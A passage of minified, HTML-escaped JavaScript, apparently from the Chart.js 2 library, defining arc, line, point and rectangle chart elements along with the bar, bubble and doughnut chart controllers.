inner=&quot;inner&quot;===vm.borderAlign;inner?(ctx.lineWidth=2*vm.borderWidth,ctx.lineJoin=&quot;round&quot;):(ctx.lineWidth=vm.borderWidth,ctx.lineJoin=&quot;bevel&quot;),arc.fullCircles&amp;&amp;function(ctx,vm,arc,inner){var i,endAngle=arc.endAngle;for(inner&amp;&amp;(arc.endAngle=arc.startAngle+TAU,clipArc(ctx,arc),arc.endAngle=endAngle,arc.endAngle===arc.startAngle&amp;&amp;arc.fullCircles&amp;&amp;(arc.endAngle+=TAU,arc.fullCircles--)),ctx.beginPath(),ctx.arc(arc.x,arc.y,arc.innerRadius,arc.startAngle+TAU,arc.startAngle,!0),i=0;i&lt;arc.fullCircles;++i)ctx.stroke();for(ctx.beginPath(),ctx.arc(arc.x,arc.y,vm.outerRadius,arc.startAngle,arc.startAngle+TAU),i=0;i&lt;arc.fullCircles;++i)ctx.stroke()}(ctx,vm,arc,inner),inner&amp;&amp;clipArc(ctx,arc),ctx.beginPath(),ctx.arc(arc.x,arc.y,vm.outerRadius,arc.startAngle,arc.endAngle),ctx.arc(arc.x,arc.y,arc.innerRadius,arc.endAngle,arc.startAngle,!0),ctx.closePath(),ctx.stroke()}core_defaults._set(&quot;global&quot;,{elements:{arc:{backgroundColor:core_defaults.global.defaultColor,borderColor:&quot;#fff&quot;,borderWidth:2,borderAlign:&quot;center&quot;}}});var element_arc=core_element.extend({_type:&quot;arc&quot;,inLabelRange:function(mouseX){var vm=this._view;return!!vm&amp;&amp;Math.pow(mouseX-vm.x,2)&lt;Math.pow(vm.radius+vm.hoverRadius,2)},inRange:function(chartX,chartY){var vm=this._view;if(vm){for(var pointRelativePosition=helpers$1.getAngleFromPoint(vm,{x:chartX,y:chartY}),angle=pointRelativePosition.angle,distance=pointRelativePosition.distance,startAngle=vm.startAngle,endAngle=vm.endAngle;endAngle&lt;startAngle;)endAngle+=TAU;for(;angle&gt;endAngle;)angle-=TAU;for(;angle&lt;startAngle;)angle+=TAU;var betweenAngles=angle&gt;=startAngle&amp;&amp;angle&lt;=endAngle,withinRadius=distance&gt;=vm.innerRadius&amp;&amp;distance&lt;=vm.outerRadius;return betweenAngles&amp;&amp;withinRadius}return!1},getCenterPoint:function(){var vm=this._view,halfAngle=(vm.startAngle+vm.endAngle)/2,halfRadius=(vm.innerRadius+vm.outerRadius)/2;return{x:vm.x+Math.cos(halfAngle)*halfRadius,y:vm.y+Math.sin(halfAngle)*halfRadius}},getArea:function(){var vm=this._view;return Math.PI*((vm.endAngle-vm.startAngle)/(2*Math.PI))*(Math.pow(vm.outerRadius,2)-Math.pow(vm.innerRadius,2))},tooltipPosition:function(){var vm=this._view,centreAngle=vm.startAngle+(vm.endAngle-vm.startAngle)/2,rangeFromCentre=(vm.outerRadius-vm.innerRadius)/2+vm.innerRadius;return{x:vm.x+Math.cos(centreAngle)*rangeFromCentre,y:vm.y+Math.sin(centreAngle)*rangeFromCentre}},draw:function(){var i,ctx=this._chart.ctx,vm=this._view,pixelMargin=&quot;inner&quot;===vm.borderAlign?.33:0,arc={x:vm.x,y:vm.y,innerRadius:vm.innerRadius,outerRadius:Math.max(vm.outerRadius-pixelMargin,0),pixelMargin:pixelMargin,startAngle:vm.startAngle,endAngle:vm.endAngle,fullCircles:Math.floor(vm.circumference/TAU)};if(ctx.save(),ctx.fillStyle=vm.backgroundColor,ctx.strokeStyle=vm.borderColor,arc.fullCircles){for(arc.endAngle=arc.startAngle+TAU,ctx.beginPath(),ctx.arc(arc.x,arc.y,arc.outerRadius,arc.startAngle,arc.endAngle),ctx.arc(arc.x,arc.y,arc.innerRadius,arc.endAngle,arc.startAngle,!0),ctx.closePath(),i=0;i&lt;arc.fullCircles;++i)ctx.fill();arc.endAngle=arc.startAngle+vm.circumference%TAU}ctx.beginPath(),ctx.arc(arc.x,arc.y,arc.outerRadius,arc.startAngle,arc.endAngle),ctx.arc(arc.x,arc.y,arc.innerRadius,arc.endAngle,arc.startAngle,!0),ctx.closePath(),ctx.fill(),vm.borderWidth&amp;&amp;drawBorder(ctx,vm,arc),ctx.restore()}}),valueOrDefault$1=helpers$1.valueOrDefault,defaultColor=core_defaults.global.defaultColor;core_defaults._set(&quot;global&quot;,{elements:{line:{tension:.4,backgroundColor:defaultColor,borderWidth:3,borderColor:defaultColor,borderCapStyle:&quot;butt&quot;,borderDash:[],borderDashOffset:0,borderJoinStyle:&quot;miter&quot;,capBezierPoints:!0,fill:!0}}});var element_line=core_element.extend({_type:&quot;line&quot;,draw:function(){var index,previous,currentVM,me=this,vm=me._view,ctx=me._chart.ctx,spanGaps=vm.spanGaps,points=me._children.slice(),globalDefaults=core_defaults.global,globalOptionLineElements=globalDefaults.elements.line,lastDrawnIndex=-1,closePath=me._loop;if(points.length){if(me._loop){for(index=0;index&lt;points.length;++index)if(previous=helpers$1.previousItem(points,index),!points[index]._view.skip&amp;&amp;previous._view.skip){points=points.slice(index).concat(points.slice(0,index)),closePath=spanGaps;break}closePath&amp;&amp;points.push(points[0])}for(ctx.save(),ctx.lineCap=vm.borderCapStyle||globalOptionLineElements.borderCapStyle,ctx.setLineDash&amp;&amp;ctx.setLineDash(vm.borderDash||globalOptionLineElements.borderDash),ctx.lineDashOffset=valueOrDefault$1(vm.borderDashOffset,globalOptionLineElements.borderDashOffset),ctx.lineJoin=vm.borderJoinStyle||globalOptionLineElements.borderJoinStyle,ctx.lineWidth=valueOrDefault$1(vm.borderWidth,globalOptionLineElements.borderWidth),ctx.strokeStyle=vm.borderColor||globalDefaults.defaultColor,ctx.beginPath(),(currentVM=points[0]._view).skip||(ctx.moveTo(currentVM.x,currentVM.y),lastDrawnIndex=0),index=1;index&lt;points.length;++index)currentVM=points[index]._view,previous=-1===lastDrawnIndex?helpers$1.previousItem(points,index):points[lastDrawnIndex],currentVM.skip||(lastDrawnIndex!==index-1&amp;&amp;!spanGaps||-1===lastDrawnIndex?ctx.moveTo(currentVM.x,currentVM.y):helpers$1.canvas.lineTo(ctx,previous._view,currentVM),lastDrawnIndex=index);closePath&amp;&amp;ctx.closePath(),ctx.stroke(),ctx.restore()}}}),valueOrDefault$2=helpers$1.valueOrDefault,defaultColor$1=core_defaults.global.defaultColor;function xRange(mouseX){var vm=this._view;return!!vm&amp;&amp;Math.abs(mouseX-vm.x)&lt;vm.radius+vm.hitRadius}core_defaults._set(&quot;global&quot;,{elements:{point:{radius:3,pointStyle:&quot;circle&quot;,backgroundColor:defaultColor$1,borderColor:defaultColor$1,borderWidth:1,hitRadius:1,hoverRadius:4,hoverBorderWidth:1}}});var element_point=core_element.extend({_type:&quot;point&quot;,inRange:function(mouseX,mouseY){var vm=this._view;return!!vm&amp;&amp;Math.pow(mouseX-vm.x,2)+Math.pow(mouseY-vm.y,2)&lt;Math.pow(vm.hitRadius+vm.radius,2)},inLabelRange:xRange,inXRange:xRange,inYRange:function(mouseY){var vm=this._view;return!!vm&amp;&amp;Math.abs(mouseY-vm.y)&lt;vm.radius+vm.hitRadius},getCenterPoint:function(){var vm=this._view;return{x:vm.x,y:vm.y}},getArea:function(){return Math.PI*Math.pow(this._view.radius,2)},tooltipPosition:function(){var vm=this._view;return{x:vm.x,y:vm.y,padding:vm.radius+vm.borderWidth}},draw:function(chartArea){var vm=this._view,ctx=this._chart.ctx,pointStyle=vm.pointStyle,rotation=vm.rotation,radius=vm.radius,x=vm.x,y=vm.y,globalDefaults=core_defaults.global,defaultColor=globalDefaults.defaultColor;vm.skip||(void 0===chartArea||helpers$1.canvas._isPointInArea(vm,chartArea))&amp;&amp;(ctx.strokeStyle=vm.borderColor||defaultColor,ctx.lineWidth=valueOrDefault$2(vm.borderWidth,globalDefaults.elements.point.borderWidth),ctx.fillStyle=vm.backgroundColor||defaultColor,helpers$1.canvas.drawPoint(ctx,pointStyle,radius,x,y,rotation))}}),defaultColor$2=core_defaults.global.defaultColor;function isVertical(vm){return vm&amp;&amp;void 0!==vm.width}function getBarBounds(vm){var x1,x2,y1,y2,half;return isVertical(vm)?(half=vm.width/2,x1=vm.x-half,x2=vm.x+half,y1=Math.min(vm.y,vm.base),y2=Math.max(vm.y,vm.base)):(half=vm.height/2,x1=Math.min(vm.x,vm.base),x2=Math.max(vm.x,vm.base),y1=vm.y-half,y2=vm.y+half),{left:x1,top:y1,right:x2,bottom:y2}}function swap(orig,v1,v2){return orig===v1?v2:orig===v2?v1:orig}function parseBorderWidth(vm,maxW,maxH){var t,r,b,l,value=vm.borderWidth,skip=function(vm){var edge=vm.borderSkipped,res={};return edge?(vm.horizontal?vm.base&gt;vm.x&amp;&amp;(edge=swap(edge,&quot;left&quot;,&quot;right&quot;)):vm.base&lt;vm.y&amp;&amp;(edge=swap(edge,&quot;bottom&quot;,&quot;top&quot;)),res[edge]=!0,res):res}(vm);return helpers$1.isObject(value)?(t=+value.top||0,r=+value.right||0,b=+value.bottom||0,l=+value.left||0):t=r=b=l=+value||0,{t:skip.top||t&lt;0?0:t&gt;maxH?maxH:t,r:skip.right||r&lt;0?0:r&gt;maxW?maxW:r,b:skip.bottom||b&lt;0?0:b&gt;maxH?maxH:b,l:skip.left||l&lt;0?0:l&gt;maxW?maxW:l}}function inRange(vm,x,y){var skipX=null===x,skipY=null===y,bounds=!(!vm||skipX&amp;&amp;skipY)&amp;&amp;getBarBounds(vm);return bounds&amp;&amp;(skipX||x&gt;=bounds.left&amp;&amp;x&lt;=bounds.right)&amp;&amp;(skipY||y&gt;=bounds.top&amp;&amp;y&lt;=bounds.bottom)}core_defaults._set(&quot;global&quot;,{elements:{rectangle:{backgroundColor:defaultColor$2,borderColor:defaultColor$2,borderSkipped:&quot;bottom&quot;,borderWidth:0}}});var element_rectangle=core_element.extend({_type:&quot;rectangle&quot;,draw:function(){var ctx=this._chart.ctx,vm=this._view,rects=function(vm){var bounds=getBarBounds(vm),width=bounds.right-bounds.left,height=bounds.bottom-bounds.top,border=parseBorderWidth(vm,width/2,height/2);return{outer:{x:bounds.left,y:bounds.top,w:width,h:height},inner:{x:bounds.left+border.l,y:bounds.top+border.t,w:width-border.l-border.r,h:height-border.t-border.b}}}(vm),outer=rects.outer,inner=rects.inner;ctx.fillStyle=vm.backgroundColor,ctx.fillRect(outer.x,outer.y,outer.w,outer.h),outer.w===inner.w&amp;&amp;outer.h===inner.h||(ctx.save(),ctx.beginPath(),ctx.rect(outer.x,outer.y,outer.w,outer.h),ctx.clip(),ctx.fillStyle=vm.borderColor,ctx.rect(inner.x,inner.y,inner.w,inner.h),ctx.fill(&quot;evenodd&quot;),ctx.restore())},height:function(){var vm=this._view;return vm.base-vm.y},inRange:function(mouseX,mouseY){return inRange(this._view,mouseX,mouseY)},inLabelRange:function(mouseX,mouseY){var vm=this._view;return isVertical(vm)?inRange(vm,mouseX,null):inRange(vm,null,mouseY)},inXRange:function(mouseX){return inRange(this._view,mouseX,null)},inYRange:function(mouseY){return inRange(this._view,null,mouseY)},getCenterPoint:function(){var x,y,vm=this._view;return isVertical(vm)?(x=vm.x,y=(vm.y+vm.base)/2):(x=(vm.x+vm.base)/2,y=vm.y),{x:x,y:y}},getArea:function(){var vm=this._view;return isVertical(vm)?vm.width*Math.abs(vm.y-vm.base):vm.height*Math.abs(vm.x-vm.base)},tooltipPosition:function(){var vm=this._view;return{x:vm.x,y:vm.y}}}),elements={},Arc=element_arc,Line=element_line,Point=element_point,Rectangle=element_rectangle;elements.Arc=Arc,elements.Line=Line,elements.Point=Point,elements.Rectangle=Rectangle;var deprecated=helpers$1._deprecated,valueOrDefault$3=helpers$1.valueOrDefault;function computeFitCategoryTraits(index,ruler,options){var size,ratio,thickness=options.barThickness,count=ruler.stackCount,curr=ruler.pixels[index],min=helpers$1.isNullOrUndef(thickness)?function(scale,pixels){var prev,curr,i,ilen,min=scale._length;for(i=1,ilen=pixels.length;i&lt;ilen;++i)min=Math.min(min,Math.abs(pixels[i]-pixels[i-1]));for(i=0,ilen=scale.getTicks().length;i&lt;ilen;++i)curr=scale.getPixelForTick(i),min=i&gt;0?Math.min(min,Math.abs(curr-prev)):min,prev=curr;return min}(ruler.scale,ruler.pixels):-1;return helpers$1.isNullOrUndef(thickness)?(size=min*options.categoryPercentage,ratio=options.barPercentage):(size=thickness*count,ratio=1),{chunk:size/count,ratio:ratio,start:curr-size/2}}core_defaults._set(&quot;bar&quot;,{hover:{mode:&quot;label&quot;},scales:{xAxes:[{type:&quot;category&quot;,offset:!0,gridLines:{offsetGridLines:!0}}],yAxes:[{type:&quot;linear&quot;}]}}),core_defaults._set(&quot;global&quot;,{datasets:{bar:{categoryPercentage:.8,barPercentage:.9}}});var controller_bar=core_datasetController.extend({dataElementType:elements.Rectangle,_dataElementOptions:[&quot;backgroundColor&quot;,&quot;borderColor&quot;,&quot;borderSkipped&quot;,&quot;borderWidth&quot;,&quot;barPercentage&quot;,&quot;barThickness&quot;,&quot;categoryPercentage&quot;,&quot;maxBarThickness&quot;,&quot;minBarLength&quot;],initialize:function(){var meta,scaleOpts,me=this;core_datasetController.prototype.initialize.apply(me,arguments),(meta=me.getMeta()).stack=me.getDataset().stack,meta.bar=!0,scaleOpts=me._getIndexScale().options,deprecated(&quot;bar chart&quot;,scaleOpts.barPercentage,&quot;scales.[x/y]Axes.barPercentage&quot;,&quot;dataset.barPercentage&quot;),deprecated(&quot;bar chart&quot;,scaleOpts.barThickness,&quot;scales.[x/y]Axes.barThickness&quot;,&quot;dataset.barThickness&quot;),deprecated(&quot;bar chart&quot;,scaleOpts.categoryPercentage,&quot;scales.[x/y]Axes.categoryPercentage&quot;,&quot;dataset.categoryPercentage&quot;),deprecated(&quot;bar chart&quot;,me._getValueScale().options.minBarLength,&quot;scales.[x/y]Axes.minBarLength&quot;,&quot;dataset.minBarLength&quot;),deprecated(&quot;bar chart&quot;,scaleOpts.maxBarThickness,&quot;scales.[x/y]Axes.maxBarThickness&quot;,&quot;dataset.maxBarThickness&quot;)},update:function(reset){var i,ilen,rects=this.getMeta().data;for(this._ruler=this.getRuler(),i=0,ilen=rects.length;i&lt;ilen;++i)this.updateElement(rects[i],i,reset)},updateElement:function(rectangle,index,reset){var me=this,meta=me.getMeta(),dataset=me.getDataset(),options=me._resolveDataElementOptions(rectangle,index);rectangle._xScale=me.getScaleForId(meta.xAxisID),rectangle._yScale=me.getScaleForId(meta.yAxisID),rectangle._datasetIndex=me.index,rectangle._index=index,rectangle._model={backgroundColor:options.backgroundColor,borderColor:options.borderColor,borderSkipped:options.borderSkipped,borderWidth:options.borderWidth,datasetLabel:dataset.label,label:me.chart.data.labels[index]},helpers$1.isArray(dataset.data[index])&amp;&amp;(rectangle._model.borderSkipped=null),me._updateElementGeometry(rectangle,index,reset,options),rectangle.pivot()},_updateElementGeometry:function(rectangle,index,reset,options){var me=this,model=rectangle._model,vscale=me._getValueScale(),base=vscale.getBasePixel(),horizontal=vscale.isHorizontal(),ruler=me._ruler||me.getRuler(),vpixels=me.calculateBarValuePixels(me.index,index,options),ipixels=me.calculateBarIndexPixels(me.index,index,ruler,options);model.horizontal=horizontal,model.base=reset?base:vpixels.base,model.x=horizontal?reset?base:vpixels.head:ipixels.center,model.y=horizontal?ipixels.center:reset?base:vpixels.head,model.height=horizontal?ipixels.size:void 0,model.width=horizontal?void 0:ipixels.size},_getStacks:function(last){var i,meta,scale=this._getIndexScale(),metasets=scale._getMatchingVisibleMetas(this._type),stacked=scale.options.stacked,ilen=metasets.length,stacks=[];for(i=0;i&lt;ilen&amp;&amp;(meta=metasets[i],(!1===stacked||-1===stacks.indexOf(meta.stack)||void 0===stacked&amp;&amp;void 0===meta.stack)&amp;&amp;stacks.push(meta.stack),meta.index!==last);++i);return stacks},getStackCount:function(){return this._getStacks().length},getStackIndex:function(datasetIndex,name){var stacks=this._getStacks(datasetIndex),index=void 0!==name?stacks.indexOf(name):-1;return-1===index?stacks.length-1:index},getRuler:function(){var i,ilen,scale=this._getIndexScale(),pixels=[];for(i=0,ilen=this.getMeta().data.length;i&lt;ilen;++i)pixels.push(scale.getPixelForValue(null,i,this.index));return{pixels:pixels,start:scale._startPixel,end:scale._endPixel,stackCount:this.getStackCount(),scale:scale}},calculateBarValuePixels:function(datasetIndex,index,options){var i,imeta,ivalue,base,head,size,stackLength,chart=this.chart,scale=this._getValueScale(),isHorizontal=scale.isHorizontal(),datasets=chart.data.datasets,metasets=scale._getMatchingVisibleMetas(this._type),value=scale._parseValue(datasets[datasetIndex].data[index]),minBarLength=options.minBarLength,stacked=scale.options.stacked,stack=this.getMeta().stack,start=void 0===value.start?0:value.max&gt;=0&amp;&amp;value.min&gt;=0?value.min:value.max,length=void 0===value.start?value.end:value.max&gt;=0&amp;&amp;value.min&gt;=0?value.max-value.min:value.min-value.max,ilen=metasets.length;if(stacked||void 0===stacked&amp;&amp;void 0!==stack)for(i=0;i&lt;ilen&amp;&amp;(imeta=metasets[i]).index!==datasetIndex;++i)imeta.stack===stack&amp;&amp;(ivalue=void 0===(stackLength=scale._parseValue(datasets[imeta.index].data[index])).start?stackLength.end:stackLength.min&gt;=0&amp;&amp;stackLength.max&gt;=0?stackLength.max:stackLength.min,(value.min&lt;0&amp;&amp;ivalue&lt;0||value.max&gt;=0&amp;&amp;ivalue&gt;0)&amp;&amp;(start+=ivalue));return base=scale.getPixelForValue(start),size=(head=scale.getPixelForValue(start+length))-base,void 0!==minBarLength&amp;&amp;Math.abs(size)&lt;minBarLength&amp;&amp;(size=minBarLength,head=length&gt;=0&amp;&amp;!isHorizontal||length&lt;0&amp;&amp;isHorizontal?base-minBarLength:base+minBarLength),{size:size,base:base,head:head,center:head+size/2}},calculateBarIndexPixels:function(datasetIndex,index,ruler,options){var range=&quot;flex&quot;===options.barThickness?function(index,ruler,options){var start,pixels=ruler.pixels,curr=pixels[index],prev=index&gt;0?pixels[index-1]:null,next=index&lt;pixels.length-1?pixels[index+1]:null,percent=options.categoryPercentage;return null===prev&amp;&amp;(prev=curr-(null===next?ruler.end-ruler.start:next-curr)),null===next&amp;&amp;(next=curr+curr-prev),start=curr-(curr-Math.min(prev,next))/2*percent,{chunk:Math.abs(next-prev)/2*percent/ruler.stackCount,ratio:options.barPercentage,start:start}}(index,ruler,options):computeFitCategoryTraits(index,ruler,options),stackIndex=this.getStackIndex(datasetIndex,this.getMeta().stack),center=range.start+range.chunk*stackIndex+range.chunk/2,size=Math.min(valueOrDefault$3(options.maxBarThickness,1/0),range.chunk*range.ratio);return{base:center-size/2,head:center+size/2,center:center,size:size}},draw:function(){var chart=this.chart,scale=this._getValueScale(),rects=this.getMeta().data,dataset=this.getDataset(),ilen=rects.length,i=0;for(helpers$1.canvas.clipArea(chart.ctx,chart.chartArea);i&lt;ilen;++i){var val=scale._parseValue(dataset.data[i]);isNaN(val.min)||isNaN(val.max)||rects[i].draw()}helpers$1.canvas.unclipArea(chart.ctx)},_resolveDataElementOptions:function(){var me=this,values=helpers$1.extend({},core_datasetController.prototype._resolveDataElementOptions.apply(me,arguments)),indexOpts=me._getIndexScale().options,valueOpts=me._getValueScale().options;return values.barPercentage=valueOrDefault$3(indexOpts.barPercentage,values.barPercentage),values.barThickness=valueOrDefault$3(indexOpts.barThickness,values.barThickness),values.categoryPercentage=valueOrDefault$3(indexOpts.categoryPercentage,values.categoryPercentage),values.maxBarThickness=valueOrDefault$3(indexOpts.maxBarThickness,values.maxBarThickness),values.minBarLength=valueOrDefault$3(valueOpts.minBarLength,values.minBarLength),values}}),valueOrDefault$4=helpers$1.valueOrDefault,resolve$1=helpers$1.options.resolve;core_defaults._set(&quot;bubble&quot;,{hover:{mode:&quot;single&quot;},scales:{xAxes:[{type:&quot;linear&quot;,position:&quot;bottom&quot;,id:&quot;x-axis-0&quot;}],yAxes:[{type:&quot;linear&quot;,position:&quot;left&quot;,id:&quot;y-axis-0&quot;}]},tooltips:{callbacks:{title:function(){return&quot;&quot;},label:function(item,data){var datasetLabel=data.datasets[item.datasetIndex].label||&quot;&quot;,dataPoint=data.datasets[item.datasetIndex].data[item.index];return datasetLabel+&quot;: (&quot;+item.xLabel+&quot;, &quot;+item.yLabel+&quot;, &quot;+dataPoint.r+&quot;)&quot;}}}});var controller_bubble=core_datasetController.extend({dataElementType:elements.Point,_dataElementOptions:[&quot;backgroundColor&quot;,&quot;borderColor&quot;,&quot;borderWidth&quot;,&quot;hoverBackgroundColor&quot;,&quot;hoverBorderColor&quot;,&quot;hoverBorderWidth&quot;,&quot;hoverRadius&quot;,&quot;hitRadius&quot;,&quot;pointStyle&quot;,&quot;rotation&quot;],update:function(reset){var me=this,points=me.getMeta().data;helpers$1.each(points,(function(point,index){me.updateElement(point,index,reset)}))},updateElement:function(point,index,reset){var me=this,meta=me.getMeta(),custom=point.custom||{},xScale=me.getScaleForId(meta.xAxisID),yScale=me.getScaleForId(meta.yAxisID),options=me._resolveDataElementOptions(point,index),data=me.getDataset().data[index],dsIndex=me.index,x=reset?xScale.getPixelForDecimal(.5):xScale.getPixelForValue(&quot;object&quot;==typeof data?data:NaN,index,dsIndex),y=reset?yScale.getBasePixel():yScale.getPixelForValue(data,index,dsIndex);point._xScale=xScale,point._yScale=yScale,point._options=options,point._datasetIndex=dsIndex,point._index=index,point._model={backgroundColor:options.backgroundColor,borderColor:options.borderColor,borderWidth:options.borderWidth,hitRadius:options.hitRadius,pointStyle:options.pointStyle,rotation:options.rotation,radius:reset?0:options.radius,skip:custom.skip||isNaN(x)||isNaN(y),x:x,y:y},point.pivot()},setHoverStyle:function(point){var model=point._model,options=point._options,getHoverColor=helpers$1.getHoverColor;point.$previousStyle={backgroundColor:model.backgroundColor,borderColor:model.borderColor,borderWidth:model.borderWidth,radius:model.radius},model.backgroundColor=valueOrDefault$4(options.hoverBackgroundColor,getHoverColor(options.backgroundColor)),model.borderColor=valueOrDefault$4(options.hoverBorderColor,getHoverColor(options.borderColor)),model.borderWidth=valueOrDefault$4(options.hoverBorderWidth,options.borderWidth),model.radius=options.radius+options.hoverRadius},_resolveDataElementOptions:function(point,index){var me=this,chart=me.chart,dataset=me.getDataset(),custom=point.custom||{},data=dataset.data[index]||{},values=core_datasetController.prototype._resolveDataElementOptions.apply(me,arguments),context={chart:chart,dataIndex:index,dataset:dataset,datasetIndex:me.index};return me._cachedDataOpts===values&amp;&amp;(values=helpers$1.extend({},values)),values.radius=resolve$1([custom.radius,data.r,me._config.radius,chart.options.elements.point.radius],context,index),values}}),valueOrDefault$5=helpers$1.valueOrDefault,PI$1=Math.PI,DOUBLE_PI$1=2*PI$1,HALF_PI$1=PI$1/2;core_defaults._set(&quot;doughnut&quot;,{animation:{animateRotate:!0,animateScale:!1},hover:{mode:&quot;single&quot;},legendCallback:function(chart){var i,ilen,listItem,list=document.createElement(&quot;ul&quot;),data=chart.data,datasets=data.datasets,labels=data.labels;if(list.setAttribute(&quot;class&quot;,chart.id+&quot;-legend&quot;),datasets.length)for(i=0,ilen=datasets[0].data.length;i&lt;ilen;++i)(listItem=list.appendChild(document.createElement(&quot;li&quot;))).appendChild(document.createElement(&quot;span&quot;)).style.backgroundColor=datasets[0].backgroundColor[i],labels[i]&amp;&amp;listItem.appendChild(document.createTextNode(labels[i]));return list.outerHTML},legend:{labels:{generateLabels:function(chart){var data=chart.data;return data.labels.length&amp;&amp;data.datasets.length?data.labels.map((function(label,i){var meta=chart.getDatasetMeta(0),style=meta.controller.getStyle(i);return{text:label,fillStyle:style.backgroundColor,strokeStyle:style.borderColor,lineWidth:style.borderWidth,hidden:isNaN(data.datasets[0].data[i])||meta.data[i].hidden,index:i}})):[]}},onClick:function(e,legendItem){var i,ilen,meta,index=legendItem.index,chart=this.chart;for(i=0,ilen=(chart.data.datasets||[]).length;i&lt;ilen;++i)(meta=chart.getDatasetMeta(i)).data[index]&amp;&amp;(meta.data[index].hidden=!meta.data[index].hidden);chart.update()}},cutoutPercentage:50,rotation:-HALF_PI$1,circumference:DOUBLE_PI$1,tooltips:{callbacks:{title:function(){return&quot;&quot;},label:function(tooltipItem,data){var dataLabel=data.labels[tooltipItem.index],value=&quot;: &quot;+data.datasets[tooltipItem.datasetIndex].data[tooltipItem.index];return helpers$1.isArray(dataLabel)?(dataLabel=dataLabel.slice())[0]+=value:dataLabel+=value,dataLabel}}}});var controller_doughnut=core_datasetController.extend({dataElementType:elements.Arc,linkScales:helpers$1.noop,_dataElementOptions:[&quot;backgroundColor&quot;,&quot;borderColor&quot;,&quot;borderWidth&quot;,&quot;borderAlign&quot;,&quot;hoverBackgroundColor&quot;,&quot;hoverBorderColor&quot;,&quot;hoverBorderWidth&quot;],getRingIndex:function(datasetIndex){for(var ringIndex=0,j=0;j&lt;datasetIndex;++j)this.chart.isDatasetVisible(j)&amp;&amp;++ringIndex;return ringIndex},update:function(reset){var maxWidth,maxHeight,i,ilen,me=this,chart=me.chart,chartArea=chart.chartArea,opts=chart.options,ratioX=1,ratioY=1,offsetX=0,offsetY=0,meta=me.getMeta(),arcs=meta.data,cutout=opts.cutoutPercentage/100||0,circumference=opts.circumference,chartWeight=me._getRingWeight(me.index);if(circumference&lt;DOUBLE_PI$1){var startAngle=opts.rotation%DOUBLE_PI$1,endAngle=(startAngle+=startAngle&gt;=PI$1?-DOUBLE_PI$1:startAngle&lt;-PI$1?DOUBLE_PI$1:0)+circumference,startX=Math.cos(startAngle),startY=Math.sin(startAngle),endX=Math.cos(endAngle),endY=Math.sin(endAngle),contains0=startAngle&lt;=0&amp;&amp;endAngle&gt;=0||endAngle&gt;=DOUBLE_PI$1,contains90=startAngle&lt;=HALF_PI$1&amp;&amp;endAngle&gt;=HALF_PI$1||endAngle&gt;=DOUBLE_PI$1+HALF_PI$1,contains270=startAngle&lt;=-HALF_PI$1&amp;&amp;endAngle&gt;=-HALF_PI$1||endAngle&gt;=PI$1+HALF_PI$1,minX=startAngle===-PI$1||endAngle&gt;=PI$1?-1:Math.min(startX,startX*cutout,endX,endX*cutout),minY=contains270?-1:Math.min(startY,startY*cutout,endY,endY*cutout),maxX=contains0?1:Math.max(startX,startX*cutout,endX,endX*cutout),maxY=contains90?1:Math.max(startY,startY*cutout,endY,endY*cutout);ratioX=(maxX-minX)/2,ratioY=(maxY-minY)/2,offsetX=-(maxX+minX)/2,offsetY=-(maxY+minY)/2}for(i=0,ilen=arcs.length;i&lt;ilen;++i)arcs[i]._options=me._resolveDataElementOptions(arcs[i],i);for(chart.borderWidth=me.getMaxBorderWidth(),maxWidth=(chartArea.right-chartArea.left-chart.borderWidth)/ratioX,maxHeight=(chartArea.bottom-chartArea.top-chart.borderWidth)/ratioY,chart.outerRadius=Math.max(Math.min(maxWidth,maxHeight)/2,0),chart.innerRadius=Math.max(chart.outerRadius*cutout,0),chart.radiusLength=(chart.outerRadius-chart.innerRadius)/(me._getVisibleDatasetWeightTotal()||1),chart.offsetX=offsetX*chart.outerRadius,chart.offsetY=offsetY*chart.outerRadius,meta.total=me.calculateTotal(),me.outerRadius=chart.outerRadius-chart.radiusLength*me._getRingWeightOffset(me.index),me.innerRadius=Math.max(me.outerRadius-chart.radiusLength*chartWeight,0),i=0,ilen=arcs.length;i&lt;ilen;++i)me.updateElement(arcs[i],i,reset)},updateElement:function(arc,index,reset){var me=this,chart=me.chart,chartArea=chart.chartArea,opts=chart.options,animationOpts=opts.animation,centerX=(chartArea.left+chartArea.right)/2,centerY=(chartArea.top+chartArea.bottom)/2,startAngle=opts.rotation,endAngle=opts.rotation,dataset=me.getDataset(),circumference=reset&amp;&amp;animationOpts.animateRotate||arc.hidden?0:me.calculateCircumference(dataset.data[index])*(opts.circumference/DOUBLE_PI$1),innerRadius=reset&amp;&amp;animationOpts.animateScale?0:me.innerRadius,outerRadius=reset&amp;&amp;animationOpts.animateScale?0:me.outerRadius,options=arc._options||{};helpers$1.extend(arc,{_datasetIndex:me.index,_index:index,_model:{backgroundColor:options.backgroundColor,borderColor:options.borderColor,borderWidth:options.borderWidth,borderAlign:options.borderAlign,x:centerX+chart.offsetX,y:centerY+chart.offsetY,startAngle:startAngle,endAngle:endAngle,circumference:circumference,outerRadius:outerRadius,innerRadius:innerRadius,label:helpers$1.valueAtIndexOrDefault(dataset.label,index,chart.data.labels[index])}});var model=arc._model;reset&amp;&amp;animationOpts.animateRotate||(model.startAngle=0===index?opts.rotation:me.getMeta().data[index-1]._model.endAngle,model.endAngle=model.startAngle+model.circumference),arc.pivot()},calculateTotal:function(){var value,dataset=this.getDataset(),meta=this.getMeta(),total=0;return helpers$1.each(meta.data,(function(element,index){value=dataset.data[index],isNaN(value)||element.hidden||(total+=Math.abs(value))})),total},calculateCircumference:function(value){var total=this.getMeta().total;return total&gt;0&amp;&amp;!isNaN(value)?DOUBLE_PI$1*(Math.abs(value)/total):0},getMaxBorderWidth:function(arcs){var i,ilen,meta,arc,controller,options,borderWidth,hoverWidth,max=0,chart=this.chart;if(!arcs)for(i=0,ilen=chart.data.datasets.length;i&lt;ilen;++i)if(chart.isDatasetVisible(i)){arcs=(meta=chart.getDatasetMeta(i)).data,i!==this.index&amp;&amp;(controller=meta.controller);break}if(!arcs)return 0;for(i=0,ilen=arcs.length;i&lt;ilen;++i)arc=arcs[i],controller?(controller._configure(),options=controller._resolveDataElementOptions(arc,i)):options=arc._options,&quot;inner&quot;!==options.borderAlign&amp;&amp;(borderWidth=options.borderWidth,max=(hoverWidth=options.hoverBorderWidth)&gt;(max=borderWidth&gt;max?borderWidth:max)?hoverWidth:max);return max},setHoverStyle:function(arc){var 